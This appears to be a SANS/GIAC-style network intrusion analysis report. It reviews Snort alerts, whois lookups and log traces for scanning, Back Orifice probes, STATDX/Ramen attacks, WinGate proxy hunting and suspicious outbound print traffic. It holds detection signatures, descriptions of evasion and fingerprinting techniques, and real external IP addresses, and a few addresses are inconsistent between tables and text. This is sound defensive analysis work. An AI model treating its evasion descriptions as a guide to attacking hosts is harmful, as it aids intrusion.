country: RU

Nslookup
Name: 79.6.87.194.dynamic.dol.ru

> SANS Flash Report: Trojans Sending More Data To Russia
> July 28, 2000, 6:20 pm, EDT
>
> This is preliminary information. The GIAC (Global Incident Analysis Center) has received several submissions showing large amounts of data being sent, illegitimately, from Windows 98 machines to a Russian IP address (194.87.6.X). The cause is most probably a Trojan, but whatever it is, it is moving fast.

Analysis
This appears to be Gnutella traffic. Gnutella is Peer-to-Peer (P2P) communication software that allows file transfers. Your companies Acceptable Use Policy should be consulted to see if this program should be on the network. If not, it is recommended that you block the Gnutella's default port (6346) both ingoing and outgoing and check MY.NET.203.50 as the logs show connection to 10 different IPs for the purposes of Gnutella.

```
02/03-20:46:15.618252 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.203.50:6346-> 194.87.6.79:1791
```

Correlation
http://www.sans.org/y2k/072900-1100.htm
http://www.sans.org/y2k/073100-1030.htm
http://www.sans.org/y2k/0731200-0930.htm
http://www.sans.org/y2k/103000-1100.htm

Probable NMAP fingerprint attempt

- 2 alerts with this signature.

Earliest such alert at **06:49:52**.479962 *on 02/27*
Latest such alert at **06:40:45**.127533 *on 03/07*

Probable NMAP fingerprint attempt	2 sources	2 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
24.169.163.127	1	2	1	1
24.240.49.169	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.207.150	1	1	1	1
MY.NET.227.78	1	19	1	11

Whois - 24.169.163.127
ServiceCo LLC - Road Runner (NET-ROAD-RUNNER-5)
13241 Woodland Park Road
Herndon, VA 20171
US

Nslookup - 24.169.163.127
Name: bgm-24-169-163-127.stny.rr.com

Whois - 24.240.49.169
High Speed Access Corp (NETBLK-HSACORP-2BLK)
10300 Ormsby Park Place Suite 405
Louisville, KY 40223
US

Nslookup – 24.240.49.169
Name: 24-240-49-169.hsacorp.net

Description
Besides port scanning, NMAP can be used to determine the operating system of a target. The Attacker can then find exploits for that particular OS and launch an attack. An excellent article on this topic can be found at: www.insecure.org/nmap/nmap-fingerprinting-article.html written by Fyodor, the author of NMAP.

Additional Information
http://www.whitehats.com/info/IDS5
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0454 *Note: Rejected by Northcutt
http://advice.networkice.com/Advice/Intrusions/2000314/default.htm

Analysis
This does not appear to be of any concern. It appears to be Gnutella traffic but for some reason the packets have become corrupted. Ensure this is acceptable use. Please review the article about the risks of using Peer-to-Peer software, such as Gnutella, posted on the SANS website. This will be expanded upon later.

TCP SMTP Source Port traffic

- 4 alerts with this signature.

Earliest such alert at **14:31:36**.054897 *on 01/30*
Latest such alert at **05:37:48**.374429 *on 02/04*

TCP SMTP Source Port traffic	4 sources	3 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
200.251.185.30	1	1	1	1
195.211.49.18	1	1	1	1
17.135.218.56	1	1	1	1
11.125.218.156	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.60.17	2	24	2	23
MY.NET.158.238	1	2	1	2
MY.NET.139.54	1	1	1	1

Description
This alert is triggered when the source port of the traffic is 25.

Analysis
The first source 202.251.185.30 is from the Brazilian Research Network it is attempting to connect to MY.NET.158.238 on the destination port 399. Port numbers below 1024 are normally not ephemeral ports. Even though it does not appear as if MY.NET.158.238 has been compromised it should be investigated..

The second source 195.211.49.18 is from "Laxin.de ShellServices". It tries to connect to port 1007.
The third source 17.125.218.156 is from Apple Computer Company with a connect to 979.
Finally, 11.125.218.156 belongs to the Department of Defense Intel Information System and is trying to connect to MY.NET.60.17. This machine requires closer study. Unusal traffic was seen coming from and returning to it. The data provided shows that traffic involving this computer has triggered these alerts.

- 1 instances of *SUNRPC highport access!*
- 1 instances of *Watchlist 000220 IL-ISDNNET-990517*
- 1 instances of *Null scan!*
- 2 instances of *TCP SMTP Source Port traffic*
- 4 instances of *WinGate 1080 Attempt*
- 7 instances of *Possible RAMEN server activity*
- 8 instances of *Watchlist 000222 NET-NCFC*

Further investigation of these three machines on your network will allow for a more detailed analysis.

Security 000516-1

- 4 alerts with this signature.

Earliest such alert at **17:27:15**.666379 *on 02/23*
Latest such alert at **17:27:16**.234242 *on 02/23*

Security 000516-1	2 sources	2 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
140.247.187.110	3	3	1	1
MY.NET.206.74	1	2	1	2

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.206.74	3	3	1	1
140.247.187.110	1	1	1	1

Whois

Harvard University (NET-HARVARD-COLL)
1 Oxford Street
Cambridge, MA 02138
US

Nslookup

Name: roam187-110.student.harvard.edu

Description

We could not find out the source of this alert.

Analysis

This appears to be Napster traffic. Ensure this is acceptable use. Please review the article about the risks of using Peer-to-Peer software, such as Gnutella, posted on the SANS website.

```
02/23-17:27:15.666379 [**] Security 000516-1 [**] 140.247.187.110:6699-> MY.NET.206.74:1699
02/23-17:27:16.186863 [**] Security 000516-1 [**] 140.247.187.110:6699-> MY.NET.206.74:1699
02/23-17:27:16.234242 [**] Security 000516-1 [**] 140.247.187.110:6699-> MY.NET.206.74:1699
```

STATDX UDP attack

- 8 alerts with this signature.

Earliest such alert at **19:35:35**.660074 *on 02/20*
Latest such alert at **19:45:33**.132877 *on 02/20*

STATDX UDP attack	2 sources	8 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
171.65.61.201	7	1274	7	1230
129.105.107.190	1	246	1	242

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.60.75	1	2	1	1
MY.NET.105.91	1	3	1	2
MY.NET.53.171	1	2	1	2
MY.NET.130.81	1	3	1	3
MY.NET.105.169	1	5	1	4
MY.NET.140.29	1	2	1	2
MY.NET.181.127	1	1	1	1
MY.NET.60.58	1	1	1	1

Whois- 171.65.61.201
Stanford University Network (NETBLK-NETBLK-SUNET)
Pine Hall, Room 115
Stanford, CA 94305-4122
US

Nslookup
Name: psych-3365-PC.Stanford.EDU

Whois - 129.105.107.190
Northwestern University (NET-NWUNET)
2129 Sheridan Road
Evanston, IL 60208
US

Nslookup
Name: dhcp107190.sesp.nwu.edu

Addition Information
www.whitehats.com/info/IDS442

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0666
http://advice.networkice.com/Advice/Intrusions/2001702/default.htm
http://www.securityfocus.com/bid/1480

Analysis

The two sources launched widespread scans for port 111 (portmapper) to find machines that may be susceptible to this attack. The STATDX attack was launched against all 8 destinations. This form of attack is associated with the Ramen Worm. A more thorough analysis of these boxes is required to see if the attack was successful.

Back Orifice

- 25 alerts with this signature.

Earliest such alert at **17:04:09**.754841 *on 02/24*
Latest such alert at **08:49:32**.385565 *on 03/07*

Back Orifice	2 sources	25 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
203.170.152.87	16	16	16	16
63.10.224.59	9	9	9	9

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.98.75	1	2	1	2
MY.NET.98.201	1	2	1	2
MY.NET.98.203	1	1	1	1
MY.NET.97.119	1	1	1	1
MY.NET.98.123	1	1	1	1
MY.NET.97.225	1	2	1	2
MY.NET.98.205	1	1	1	1
MY.NET.97.162	1	2	1	2
MY.NET.98.207	1	1	1	1
MY.NET.98.142	1	3	1	2

Whois – 203.170.152.87
inetnum: 203.170.128.0 - 203.170.191.255
netname: CSC
descr: C.S.Communications Co., Ltd.
descr: Shinawatra Group - Internet Service Provider, Bangkok, THAILAND
country: TH

Nslookup
Reverse lookup produced no results.

Whois – 63.10.224.59
UUNET Technologies, Inc. (NETBLK-NETBLK-UUNET97DU)
  3060 Williams Drive, Suite 601
  Fairfax, va 22031
US

Nslookup
Name: 1Cust59.tnt2.tacoma.wa.da.uu.net

Description
Back Orifice is a Trojan program created by Cult of the Dead Cow. It is a client-server program that allows remote administration. The server portion is usually hidden or disguised a component of any software.

Once executed, the client (hacker) can enter through the backdoor that has been created and obtain "sysadmin type" privileges.

Additonal Information
http://advice.networkice.com/Advice/Intrusions/2001506/default.htm
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0660

Analysis
The two source IP addresses were involved in scanning 25 GIAC Enterprise machines to see if they had been previously infected with Back Orifice. The log files, shown below, are evidence of this scanning. There was no data that suggested that any of these machines responded to the scan.

```
03/07-08:49:31.283316 [**] Back Orifice [**] 203.170.152.87:31338-> MY.NET.98.23:31337
03/07-08:49:31.349034 [**] Back Orifice [**] 203.170.152.87:31338-> MY.NET.98.35:31337
03/07-08:49:31.859244 [**] Back Orifice [**] 203.170.152.87:31 338-> MY.NET.98.142:31337
03/07-08:49:31.876076 [**] Back Orifice [**] 203.170.152.87:31338-> MY.NET.98.144:31337
03/07-08:49:31.907963 [**] Back Orifice [**] 203.170.152.87:31338-> MY.NET.98.149:31337
```

```
02/24-17:04:09.754841 [**] Back Orifice [**] 63.10.224.59:2382-> MY.NET.97.3:31337
02/24-17:04:16.714295 [**] Back Orifice [**] 63.10.224.59:2382-> MY.NET.97.119:31337
02/24-17:04:19.102521 [**] Back Orifice [**] 63.10.224.59:2382-> MY.NET.97.162:31337
02/24-17:04:22.457194 [**] Back Orifice [**] 63.10.224.59:2382-> MY.NET.97.225:31337
02/24-17:04:24.335687 [**] Back Orifice [**] 63.10.224.59:2382-> MY.NET.98.3:31337
```

The following trace was taken from the Snort Scan files. It shows company computers that are involved in scanning and possibly connecting to other machines on the Internet with Back Orifice. A detailed analysis of these computers should be initiated immediately..

```
Feb  6 11:45:24 MY.NET.179.78:2330 -> 162.33.212.88:31337 SYN **S*****
Feb  6 11:53:30 MY.NET.179.78:3918 -> 162.33.212.88:31337 SYN **S*****
Feb 23 10:25:57 MY.NET.208.166:3034 -> 130.160.144.12:31337 UDP
Mar 12 09:56:47 MY.NET.203.6:1714 -> 203.96.152.11:31337 UDP
Mar 12 10:28:00 MY.NET.203.6:4022 -> 203.96.152.11:31337 UDP
Mar 12 10:54:12 MY.NET.203.6:2948 -> 203.96.152.11:31337 UDP
Mar 12 12:44:12 MY.NET.204.94:3954 -> 129.21.131.101:31337 SYN **S*****
Mar 12 12:44:15 MY.NET.204.94:3954 -> 129.21.131.101:31337 SYN **S*****
Feb 23 10:25:57 MY.NET.208.166:3034 -> 130.160.144.12:31337 UDP
Feb 20 20:22:25 MY.NET.220.142:2067 -> 160.79.54.192:31337 UDP
Feb 20 21:48:03 MY.NET.213.246:4159 -> 160.79.54.192:31337 UDP
Feb 20 21:48:05 MY.NET.213.246:4159 -> 160.79.54.192:31337 UDP
Mar  2 15:58:34 MY.NET.179.78:2203 -> 63.71.84.103:31337 SYN **S*****
Feb 26 03:14:37 MY.NET.212.234:1250 -> 203.96.152.11:31337 UDP
```

SUNRPC highport access!

- 112 alerts with this signature.

Earliest such alert at **14:34:29**.280204 *on 01/30*
Latest such alert at **20:54:26**.705542 *on 03/10*

SUNRPC highport access!	7 sources	7 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
24.9.158.233	101	101	1	1
152.163.241.90	3	3	1	1
MY.NET.70.38	2	4788	1	3814
205.188.5.157	2	2	1	1
216.136.171.195	2	2	1	1
24.9.203.188	1	4	1	1
200.233.81.13	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.163.17	101	101	1	1
MY.NET.98.122	3	4	1	2
MY.NET.103.112	2	3	1	1
MY.NET.100.225	2	2	1	1
MY.NET.98.227	2	3	1	2
MY.NET.165.129	1	4	1	1
MY.NET.60.17	1	24	1	23

Description

Remote Procedure Call (RPC) programs allow users to execute programs on other computers. These ephemeral ports must be watched closely. There are numerous root level exploits associated with many RPC server programs. Examples are the rpc.statd, mountd. Tooltalk, and rpc.cmsd vulnerabilities.

Analysis

MY.NET.70.30 appears to have been compromised. The data indicates that this machine has been mapping the network with what appears to me a Nmap tcp ping scan. It should be immediately removed from the network and a detailed forensic analysis should be performed.

24.9.158.233 belongs to the @Home network. It has connected to MY.NET.163.17 101 times from 20-22 Feb with the source port 22 (ssh) and the destination port of 32771(rpc.ghost). There are two theories that could apply : 1) MY.NET.163.17 has connected to 24.9.158.233 using ssh and has used 32771 as an ephemeral port. If this machine has ssh installed and this is acceptable use, nothing further need be investigated. 2) 24.9.158.233 is trying to fly below radar by using source port 22 while connecting to destination port 32771 for whatever reason. This will require further investigation.

```
02/20-09:52:50.620251 [**] SUNRPC highport access! [**] 24.9.158.233:22-> MY.NET.163.17:32771
02/20-09:52:53.431157 [**] SUNRPC highport access! [**] 24.9.158.233:22-> MY.NET.163.17:32771
02/20-09:52:54.476048 [**] SUNRPC highport access! [**] 24.9.158.233:22-> MY.NET.163.17:32771
```

Several of these are connects from source port 5190 tend to indicate AOL Instant Messenger. As long as this program meets with your company's Acceptable Use Policy, no further examination is required.

.

Null scan!

- 135 alerts with this signature.

Earliest such alert at **01:50:50**.107192 *on 01/30*
Latest such alert at **23:26:11**.569536 *on 03/10*

Null scan!	118 sources	90 destinations

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
24.201.13.232	5	5	1	1
62.59.52.52	4	4	1	1
128.40.224.18	3	3	2	2
169.229.100.79	2	2	1	1
128.253.136.176	2	2	1	1
64.196.72.13	2	2	1	1
24.9.203.188	2	4	1	1
130.49.86.89	2	2	1	1
24.180.66.185	2	2	1	1
24.156.33.57	2	2	2	2

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.211.74	9	304	7	15
MY.NET.222.218	5	7	1	3
MY.NET.60.8	5	25	5	16
MY.NET.60.11	4	301	4	13
MY.NET.203.210	4	5	1	2
MY.NET.208.26	4	5	4	5
MY.NET.5.29	3	5	3	5
MY.NET.224.102	3	5	3	5
MY.NET.222.230	3	19	3	13
MY.NET.60.38	3	15	3	10

Description
A null scan occurs when crafted anomalous packets, with no TCP bits set, scan a network looking for hosts or services.

Additional Information
http://www.networkice.com/Advice/Intrusions/2000309/default.htm

Analysis

Most of these alerts appear to be triggered by corrupted Gnutella and Napster traffic.

```
03/03-06:24:55.170554 208.180.203.89:6346 -> MY.NET.211.74:4517
TCP TTL:115 TOS:0x0 ID:19842  DF
21**RPAU Seq: 0x18FFA9C   Ack: 0x67457224   Win: 0x5018
18 CA 11 A5 01 8F FA 9C 67 45 72 24 00 FC 50 18  ........gEr$..P.
22 38 5E DD 00 00 6C 6C 65 6E 63 61 6D 70 20 2D  "8^...llencamp -
20 49

03/03-08:06:29.454026 MY.NET.218.142:6346 -> 206.158.29.194:17007
TCP TTL:126 TOS:0x0 ID:45801  DF
**SFR**U Seq: 0x21F   Ack: 0xAAAD0E56   Win: 0x5018
00 00 02 1F AA AD 0E 56 1F 27 50 18 1F E8 63 95  .......V.'P...c.
00 00 48 49 00 4E 69 72 76 61 6E 61 20 2D        ..HI.Nirvana -
I
```

John Cougar & Cobain… looks like legitimate Gnutella traffic except for the TCP bit flags. It appears as if there is a router, perhaps, that is corrupting these packets. A detailed network analysis should be performed in order to find the source of the corruption. Once again it must be stated that your company's Acceptable Use Policy should be referenced to see if this traffic should be allowed.

Tiny Fragments - Possible Hostile Activity

- 229 alerts with this signature.

Earliest such alert at **00:35:05**.719753 *on 01/30*
Latest such alert at **01:39:16**.106940 *on 03/06*

Tiny Fragments - Possible Hostile Activity	20 sources	12 destinations

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
212.89.165.5	116	116	1	1
64.80.90.36	73	73	2	2
202.205.5.10	6	6	1	1
64.80.88.99	5	5	1	1
202.96.96.3	5	5	2	2
64.80.90.84	3	3	1	1
61.136.61.68	2	2	1	1
111.111.111.111	2	2	1	1
202.101.43.220	2	2	1	1
61.140.75.5	2	2	1	1

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.223.42	116	119	1	3
MY.NET.98.117	53	56	1	4
MY.NET.97.231	20	20	1	1
MY.NET.1.8	16	31	7	10
MY.NET.1.10	7	9	4	6
MY.NET.206.254	5	5	1	1
MY.NET.160.109	5	9	2	6
MY.NET.20.10	3	7	2	6
MY.NET.206.58	1	2	1	2
MY.NET.98.119	1	9	1	2

Description

Fragmented Packets are extremely suspicious. Tools exist that can dissect packets into small fragments in the hopes they will by-pass intrusion detection systems and firewalls. They may also be sent to try and crash the host that chooses to reassemble them.

Analysis

On 6 March 212.89.165.5 sent 116 tiny fragments to MY.NET.223.42. There are no other alerts that would indicate that MY.NET.223.42 has been compromised. However, further investigation may be necessary should the fragments continue.

On 4 March 64.80.90.36 sent 73 tiny fragmented packets to MY.NET.98.117. There are no other alerts that would indicate that MY.NET.98.117 has been compromised. However, further investigation may be necessary should the fragments continue.

On 30 January 202.205.5.10 sent 6 tiny fragments to MY.NET.1.8. There are no other alerts that would indicate that MY.NET.1.8 has been compromised. However, further investigation may be necessary should the fragments continue.

Other notable events – Reserved IP addresses 111.111.111.111 and 127.0.0.1 sent fragmented packets to MY.NET.20.10. Close attention should be paid to this machine, as it has been the target of numerous scans.

Queso fingerprint

- 469 alerts with this signature.

Earliest such alert at **00:20:10**.617039 *on 01/30*
Latest such alert at **23:08:07**.118752 *on 03/10*

Queso fingerprint	58 sources	112 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
194.51.109.194	66	66	5	5
209.85.60.183	31	31	1	1
141.30.228.134	29	29	7	7
141.30.228.43	26	26	14	14
141.30.228.189	22	22	9	9
141.30.228.122	22	22	8	8
141.30.228.199	20	20	13	13
209.85.60.179	18	18	2	2
141.30.228.182	17	17	9	9
141.30.228.115	17	17	11	11

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.229.242	62	68	1	7
MY.NET.229.158	39	41	2	4
MY.NET.203.50	25	25	10	10
MY.NET.162.200	22	52	11	34
MY.NET.206.30	21	44	5	26
MY.NET.211.74	19	304	6	15
MY.NET.229.22	15	15	6	6
MY.NET.224.242	14	44	8	16
MY.NET.210.14	11	16	8	12
MY.NET.253.43	11	56	2	9

Description
This is an attempt to fingerprint the operating system similar to Nmap OS fingerprinting. It accomplishes this by sending obscure tcp packets to the target.

Additional Information
http://www.whitehats.com/info/IDS29

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0454 *Note: Rejected by Northcutt
http://advice.networkice.com/Advice/Intrusions/2000313/default.htm

Analysis
It appears, once again, that the majority of these alerts are false positives. The Queso filter is triggering on the two Reserved bits associated with the TCP flags. As well, most of the traffic involved appears to be corrupted Gnutella traffic.

WinGate 1080 Attempt

- 499 alerts with this signature.

Earliest such alert at **00:43:40**.863438 *on 01/30*
Latest such alert at **23:12:43**.756899 *on 03/10*

WinGate 1080 Attempt	105 sources	229 destinations

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
199.173.178.2	111	111	32	32
63.53.52.128	47	47	45	45
204.117.70.5	44	44	15	15
24.1.201.200	29	29	1	1
212.73.162.30	26	26	15	15
216.179.0.32	25	25	17	17
128.121.244.217	21	21	1	1
63.151.165.130	15	15	2	2
209.212.128.47	12	12	12	12
64.154.61.232	8	8	8	8

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.98.188	38	39	1	2
MY.NET.97.80	34	36	1	3
MY.NET.221.30	29	30	1	2
MY.NET.15.178	21	21	1	1
MY.NET.60.8	14	25	7	16
MY.NET.98.118	14	17	1	4
MY.NET.203.234	13	13	3	3
MY.NET.217.118	10	11	4	5
MY.NET.60.38	9	15	4	10
MY.NET.98.119	8	9	1	2

Description
Wingate allows networked computers to simultaneously share an Internet connection. It is an excellent tool to "anonymize" activities on the Internet. It commonly operates on port 1080.

Additional Information
http://www.whitehats.com/info/IDS175
http://advice.networkice.com/Advice/Intrusions/2003017/default.htm

Analysis
The bulk of these alerts come from scans from the Internet looking for open Wingates to exploit. The machines listed as the Top 10 Destinations should be immediately examined and the Wingate program removed as they are being openly shared across the Internet.

This is a sample showing the Wingate scanning against GIAC Enterprise computers.

```
01/30-16:17:18.619426 [**] WinGate 1080 Attempt [**] 199.173.178.2:2892-> MY.NET.209.234:1080
02/03-00:14:51.560590 [**] WinGate 1080 Attempt [**] 199.173.178.2:4562-> MY.NET.205.174:1080
02/03-04:19:59.929224 [**] WinGate 1080 Attempt [**] 199.173.178.2:4837-> MY.NET.218.114:1080
02/03-12:39:54.717839 [**] WinGate 1080 Attempt [**] 199.173.178.2:4569-> MY.NET.201.102:1080
02/03-23:43:42.520319 [**] WinGate 1080 Attempt [**] 199.173.178.2:4762-> MY.NET.225.66:1080
02/04-00:28:29.926310 [**] WinGate 1080 Attempt [**] 199.173.178.2:4873-> MY.NET.225.66:1080
02/04-00:35:31.041892 [**] WinGate 1080 Attempt [**] 199.173.178.2:4931-> MY.NET.97.40:1080
```

Correlation

The following correlation comes from a company called CRS Texas.

Jan 26	input	61	DENY	5	199.173.178.2	eth1	2167/tcp	Socks
Jan 27	input	61	DENY	5	199.173.178.2	eth1	1583/tcp	Socks
Jan 29	input	61	DENY	5	199.173.178.2	eth1	4247/tcp	Socks
Jan 31	input	61	DENY	5	199.173.178.2	eth1	4196/tcp	Socks
Jan 31	input	61	DENY	5	199.173.178.2	eth1	4905/tcp	Socks
Feb 01	input	61	DENY	5	199.173.178.2	eth1	4595/tcp	Socks

From: www.crstexas.com/REPORT.HTML

Attempted Sun RPC high port access

- 543 alerts with this signature.

Earliest such alert at **14:00:10**.320844 *on 01/30*
Latest such alert at **20:59:57**.694464 *on 03/06*

Attempted Sun RPC high port access	7 sources	7 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
64.244.10.40	362	362	1	1
205.188.153.97	134	134	1	1
205.188.153.98	20	20	1	1
205.188.153.105	13	13	1	1
205.188.153.108	6	6	1	1
205.188.153.107	5	5	1	1
205.188.153.109	3	3	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.223.254	362	362	1	1
MY.NET.221.246	134	135	1	2
MY.NET.224.230	20	22	1	3
MY.NET.223.70	13	14	1	2
MY.NET.105.115	6	6	1	1
MY.NET.97.217	5	6	1	2
MY.NET.97.207	3	3	1	1

Description
As previously described in "SUNRPC highport access!", these ports must be closely monitored.

Analysis
Packets destined for port 32771 triggered all of these alerts. The source ports were limited to 4000 (normally used for ICQ) and 7777 (normally used for the Internet gameUnreal).
These appear to be false alerts. Once again, the Acceptable Use Policy should be checked. Traces, below, show the source computers involved in these activities. The firewall should be immediately reconfigured to block this traffic. This will eliminate the threat from the outside.

ICQ Traffic

```
Jan 21 05:49:32 MY.NET.217.142:1060 -> 205.188.153.104:4000 UDP
Feb  6 16:44:13 MY.NET.202.138:1043 -> 205.188.153.109:4000 UDP
Feb  6 19:37:56 MY.NET.209.26:1722 -> 205.188.153.110:4000 UDP
Feb  9 21:11:32 MY.NET.98.195:32903 -> 205.188.153.108:4000 UDP
Feb 10 01:10:21 MY.NET.98.195:32918 -> 205.188.153.104:4000 UDP
Feb 10 22:14:29 MY.NET.221.182:1091 -> 205.188.153.109:4000 UDP
Feb 10 22:14:33 MY.NET.221.182:1091 -> 205.188.153.109:4000 UDP
Feb 21 15:59:22 MY.NET.210.98:1077 -> 205.188.153.105:4000 UDP
Feb 26 05:15:34 MY.NET.222.122:1136 -> 205.188.153.98:4000 UDP
Feb 26 05:15:39 MY.NET.222.122:1136 -> 205.188.153.98:4000 UDP
Feb 26 05:16:08 MY.NET.222.122:1136 -> 205.188.153.98:4000 UDP
Mar  7 13:59:46 MY.NET.223.214:3913 -> 205.188.153.102:4000 UDP
Mar  7 13:59:47 MY.NET.223.214:3913 -> 205.188.153.102:4000 UDP
Mar 12 17:56:23 MY.NET.203.230:2023 -> 205.188.153.104:4000 UDP
```

Unreal Traffic

```
Feb  1 08:50:34 MY.NET.104.111:2006 -> 64.244.10.40:7778 UDP
Feb  1 23:50:16 MY.NET.208.146:2006 -> 64.244.10.40:7778 UDP
Feb 10 01:27:46 MY.NET.204.150:2004 -> 64.244.10.40:7778 UDP
Feb 10 02:24:09 MY.NET.219.186:2002 -> 64.244.10.40:7778 UDP
Feb  9 14:20:16 MY.NET.219.186:2005 -> 64.244.10.40:7782 UDP
Feb  9 16:57:47 MY.NET.209.238:2002 -> 64.244.10.40:7778 UDP
Feb  9 19:05:35 MY.NET.204.150:2003 -> 64.244.10.40:7778 UDP
Feb  7 16:19:47 MY.NET.209.238:2005 -> 64.244.10.40:7782 UDP
Feb  7 16:31:47 MY.NET.204.150:2010 -> 64.244.10.40:7778 UDP
Feb  7 20:05:54 MY.NET.207.206:2005 -> 64.244.10.40:7778 UDP
Feb  6 00:25:50 MY.NET.206.78:3539 -> 64.244.10.40:7778 UDP
Feb  6 00:36:57 MY.NET.207.178:2006 -> 64.244.10.40:7778 UDP
Feb  6 01:01:48 MY.NET.211.118:2001 -> 64.244.10.40:7778 UDP
Feb  6 13:17:48 MY.NET.206.78:2006 -> 64.244.10.40:7778 UDP
Jan 30 22:54:03 MY.NET.219.122:2009 -> 64.244.10.40:7778 UDP
Jan 21 00:04:35 MY.NET.217.142:1963 -> 64.244.10.40:7778 UDP
Feb  5 00:35:22 MY.NET.207.34:2002 -> 64.244.10.40:7778 UDP
Feb  5 21:08:17 MY.NET.207.178:2009 -> 64.244.10.40:7778 UDP
Feb  5 21:45:29 MY.NET.214.26:2000 -> 64.244.10.40:7778 UDP
Feb 21 23:49:36 MY.NET.217.250:2008 -> 64.244.10.40:7778 UDP
Feb 23 02:13:26 MY.NET.204.150:2003 -> 64.244.10.40:7778 UDP
Mar 10 21:58:57 MY.NET.204.210:2005 -> 64.244.10.40:7778 UDP
Mar 10 22:02:22 MY.NET.204.2:2007 -> 64.244.10.40:7778 UDP
Mar 10 22:23:24 MY.NET.204.2:2004 -> 64.244.10.40:7778 UDP
```

Correlation

The following excerpt was taken from a paper written by Herschel Gelman.

Almost all of the remaining matches to this are from port 7777. A quick search indicates that this port is used for a wide variety of services--the multiplayer game Unreal, Multi-User Dungeons (MUD's), Napster, and the Internet Go Server (for the game Go), among others. Andy Johnston reported a strikingly similar group of connection attempts (source port 7777, destination port 32771, and multiple connection attempts per second) in the 5/19/00 GIAC Detects Analyzed report.

connect to 515 from inside

- 591 alerts with this signature.

Earliest such alert at **05:27:45**.459734 *on 02/03*
Latest such alert at **07:58:52**.539739 *on 02/27*

connect to 515 from inside	6 sources	5 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
MY.NET.98.190	514	514	1	1
MY.NET.97.88	59	59	1	1
MY.NET.7.20	15	15	1	1
MY.NET.201.170	1	1	1	1
MY.NET.179.78	1	3	1	3
MY.NET.162.71	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
216.181.129.185	573	573	2	2
216.88.97.58	15	15	1	1
24.13.123.8	1	1	1	1
209.50.66.2	1	1	1	1
209.249.182.79	1	1	1	1

Description

Port 515 is normally used for print spooling and delivery. The rule that triggered these alerts was written in order to monitor printing to an outside source.

Analysis

MY.NET.98.190 and MY.NET.98.88 have both connected to 216.181.129.185 (from Integrated Technology Solutions, USA) a combined 573 times. Both machines used the identical source port of 1025. This did not change for the duration. This is suspicious and should be further investigated.

MY.NET.7.20 connected to 216.88.97.58(from CoServ-DSL, USA) 15 times. The source port used in this instance was 22. This could indicate a root-level compromise. Further investigation is required.

It would be wise to block the ability to connect to port 515 outside of your network. Industrial espionage is a valid threat. Your copy's information is valuable and should be protected.

Sample Traces

```
02/06-16:25:45.584094 [**] connect to 515 from inside [**] MY.NET.97.88:1025-> 216.181.129.185:515
02/06-16:26:38.655290 [**] connect to 515 from inside [**] MY.NET.97.88:1025-> 216.181.129.185:515
02/06-16:27:09.691835 [**] connect to 515 from inside [**] MY.NET.97.88:1025-> 216.181.129.185:515
02/06-16:27:59.772507 [**] connect to 515 from inside [**] MY.NET.97.88:1025-> 216.181.129.185:515
```

```
02/06-16:29:43.987537 [**] connect to 515 from inside [**] MY.NET.97.88:1025-> 216.181.129.185:515
02/06-16:33:32.170618 [**] connect to 515 from inside [**] MY.NET.97.88:1025-> 216.181.129.185:515
```

Notice this is a different source and the date is different. Yet, the source port remains the same.

```
02/11-08:54:08.605201 [**] connect to 515 from inside [**] MY.NET.98.190:1025-> 216.181.129.185:515
02/11-08:54:36.640958 [**] connect to 515 from inside [**] MY.NET.98.190:1025-> 216.181.129.185:515
02/11-08:55:51.754824 [**] connect to 515 from inside [**] MY.NET.98.190:1025-> 216.181.129.185:515
02/11-08:56:13.787038 [**] connect to 515 from inside [**] MY.NET.98.190:1025-> 216.181.129.185:515
